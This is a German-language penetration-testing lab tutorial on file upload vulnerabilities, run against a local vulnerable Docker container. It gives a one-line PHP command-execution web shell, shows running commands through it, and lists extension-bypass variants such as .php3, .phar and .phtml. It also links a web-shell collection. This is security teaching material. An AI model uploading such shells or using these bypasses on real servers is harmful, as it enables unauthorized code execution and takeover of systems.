Einführung
Dieses Lab konzentriert sich auf Schwachstellen beim Hochladen von Dateien (File Upload Vulnerabilities), einem häufigen Sicherheitsproblem in Webanwendungen. Sie lernen, wie Sie diese Schwachstellen identifizieren, deren potenziellen Auswirkungen verstehen und Methoden zu deren Ausnutzung erkunden. Das Lab bietet praktische Erfahrungen mit Beispielen, die es Ihnen ermöglichen, Webanwendungssicherheitskonzepte und defensive Maßnahmen besser zu verstehen.
File-Upload-Schwachstellen verstehen
Dateiupload-Schwachstellen (File Upload Vulnerabilities) treten auf, wenn Webanwendungen hochgeladene Dateien nicht ordnungsgemäß validieren. Dies kann es Angreifern ermöglichen, bösartige Dateien hochzuladen, was potenziell zur Remote Code Execution (RCE) auf dem Server führen kann.
Betrachten wir eine typische Dateiupload-Implementierung in PHP unter Verwendung der Funktion move_uploaded_file():
<?php
// The move_uploaded_file() function moves an uploaded file to a new location
// Returns true on success, false on failure
move_uploaded_file($file, $newloc);
Parameter:
$file: Die hochgeladene Datei, die verschoben werden soll$newloc: Der Zielpfad für die Datei
Eine sichere Implementierung sollte eine ordnungsgemäße Validierung beinhalten, wie in diesem Beispiel gezeigt:
<?php
// Define allowed image extensions
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // Get the file extension
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // Less than 200 KB
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "Uploaded file name: " . $_FILES["file"]["name"] . "<br>";
echo "File type: " . $_FILES["file"]["type"] . "<br>";
echo "File size: " . ($_FILES["file"]["size"] / 1024) . " KB<br>";
echo "Temporary file location: " . $_FILES["file"]["tmp_name"];
}
}
else
{
echo "Invalid file format";
}
?>
Dieser Code demonstriert mehrere wichtige Sicherheitsüberprüfungen:
- Dateierweiterungsvalidierung (File extension validation)
- MIME-Typ-Verifizierung (MIME type verification)
- Dateigrößenbeschränkung (File size limitation)
- Fehlerbehandlung (Error handling)
Ohne diese Validierungen könnten Angreifer potenziell bösartige Dateien hochladen, die auf dem Server ausgeführt werden.
Identifizierung der serverseitigen Sprache
Vor der Ausnutzung einer Dateiupload-Schwachstelle (File Upload Vulnerability) ist es entscheidend, die serverseitige Sprache (Server-side Language) zu identifizieren, die von der Webanwendung verwendet wird. Diese Information bestimmt, welcher Dateityp für eine erfolgreiche Ausnutzung hochgeladen werden muss.
Richten wir zunächst unsere Laborumgebung ein:
docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/upload/images
Nachdem Sie diesen Befehl ausgeführt haben, überprüfen Sie, ob die Umgebung unter folgender Adresse erreichbar ist: http://localhost:82
Methoden zur Identifizierung der serverseitigen Sprache:
URL-Dateierweiterungen (URL File Extensions):
.php-Erweiterungen deuten auf PHP hin.asp- oder.aspx-Erweiterungen deuten auf ASP.NET hin.jsp-Erweiterungen deuten auf Java Server Pages hin
Server-Header (Server Headers):
- Microsoft IIS läuft typischerweise mit ASP.NET
- Apache oder Nginx laufen üblicherweise mit PHP
- Apache Tomcat läuft mit JSP
Sie können die Wappalyzer-Browsererweiterung verwenden, um den Webserver und die Programmiersprache automatisch zu erkennen:
In unserer Laborumgebung sollten Sie Folgendes sehen:
Web Server: Apache
Backend Language: PHP
Hochladen einer Web Shell
Nachdem wir PHP als serverseitige Sprache (Server-side Language) identifiziert haben, laden wir eine PHP-Web Shell hoch, um Befehle auf dem Server auszuführen.
Eine Sammlung von Web Shells finden Sie hier:
https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/web-exploit-exp/fileupload/php
- Erstellen Sie eine Testdatei
phpinfo.phpim Verzeichnis/home/labex/project:
<?php phpinfo(); ?>
Laden Sie die Datei hoch:
- Besuchen Sie http://localhost:82/upload/example1.php
- Wählen Sie Ihre phpinfo.php-Datei aus und laden Sie sie hoch
Überprüfen Sie den Upload:
- Greifen Sie auf http://localhost:82/upload/images/phpinfo.php zu
- Sie sollten die PHP-Konfigurationsinformationsseite sehen
Erstellen Sie eine Befehlsausführungs-Shell
shell.php:
<?php echo "Shell"; system($_GET['cmd']); ?>
Laden Sie die Shell hoch und testen Sie sie:
- Laden Sie shell.php mit derselben Methode hoch
- Greifen Sie auf http://localhost:82/upload/images/shell.php zu
- Möglicherweise wird eine Warnmeldung angezeigt (erwartet ohne Parameter)
Führen Sie Befehle aus:
Überprüfen Sie den aktuellen Benutzer: http://localhost:82/upload/images/shell.php?cmd=whoami Erwartete Ausgabe: www-data
Listen Sie Dateien und Systeminformationen auf: http://localhost:82/upload/images/shell.php?cmd=ls;uname%20-a Erwartete Ausgabe: Verzeichnisauflistung und Systeminformationen
Hinweis: Dieses Lab demonstriert grundlegende Web Shell-Funktionalität. Fortgeschrittene Themen wie Reverse Shells und Privilege Escalation werden in fortgeschritteneren Kursen behandelt.
Umgehen von Serverbeschränkungen (Optional)
Einige Webanwendungen implementieren Dateierweiterungsbeschränkungen (File Extension Restrictions), um das Hochladen schädlicher Dateien zu verhindern. Dieser Abschnitt untersucht Methoden, um diese Einschränkungen zu umgehen (bypass).
Wenn .php-Erweiterungen blockiert sind, versuchen Sie alternative PHP-Erweiterungen, die möglicherweise ausführbar sind:
Versuchen Sie, mit der Erweiterung
.php3hochzuladen:- Besuchen Sie http://localhost:82/upload/example2.php
- Laden Sie phpinfo.php3 hoch
- Greifen Sie auf http://localhost:82/upload/images/phpinfo.php3 zu
Wenn dies nicht erfolgreich ist, versuchen Sie die Erweiterung
.phar:- Laden Sie phpinfo.phar hoch
- Greifen Sie auf http://localhost:82/upload/images/phpinfo.phar zu
Gängige Bypass-Erweiterungen, die Sie ausprobieren können:
- .php3
- .php4
- .php5
- .phar
- .phtml
Hinweis: Der Erfolg hängt von der Serverkonfiguration ab. Verschiedene Server erlauben möglicherweise die Ausführung verschiedener Erweiterungen als PHP-Code.
Zusammenfassung
Dieses Lab behandelte wesentliche Aspekte von File-Upload-Schwachstellen (File Upload Vulnerabilities):
Kernkonzepte:
- Verständnis der Mechanismen von File-Upload-Schwachstellen
- Identifizierung serverseitiger Programmiersprachen (Server-side Programming Languages)
- Hochladen und Ausführen von Web Shells
- Umgehen von Dateierweiterungsbeschränkungen (Bypassing File Extension Restrictions)
Erworbene technische Fähigkeiten:
- Erkennung der serverseitigen Sprache (Server-side Language Detection)
- Erstellung und Bereitstellung von Web Shells
- Befehlsausführung über hochgeladene Dateien
- Techniken zum Umgehen von Erweiterungen (Extension Bypass Techniques)
Sicherheitsauswirkungen:
- Auswirkungen unzureichender Dateivalidierung (File Validation)
- Bedeutung angemessener Upload-Beschränkungen
- Serverseitige Ausführungsrisiken (Server-side Execution Risks)
Dieses grundlegende Wissen bereitet Sie auf fortgeschrittene Themen der Webanwendungssicherheit (Web Application Security) vor, die in nachfolgenden Kursen behandelt werden.



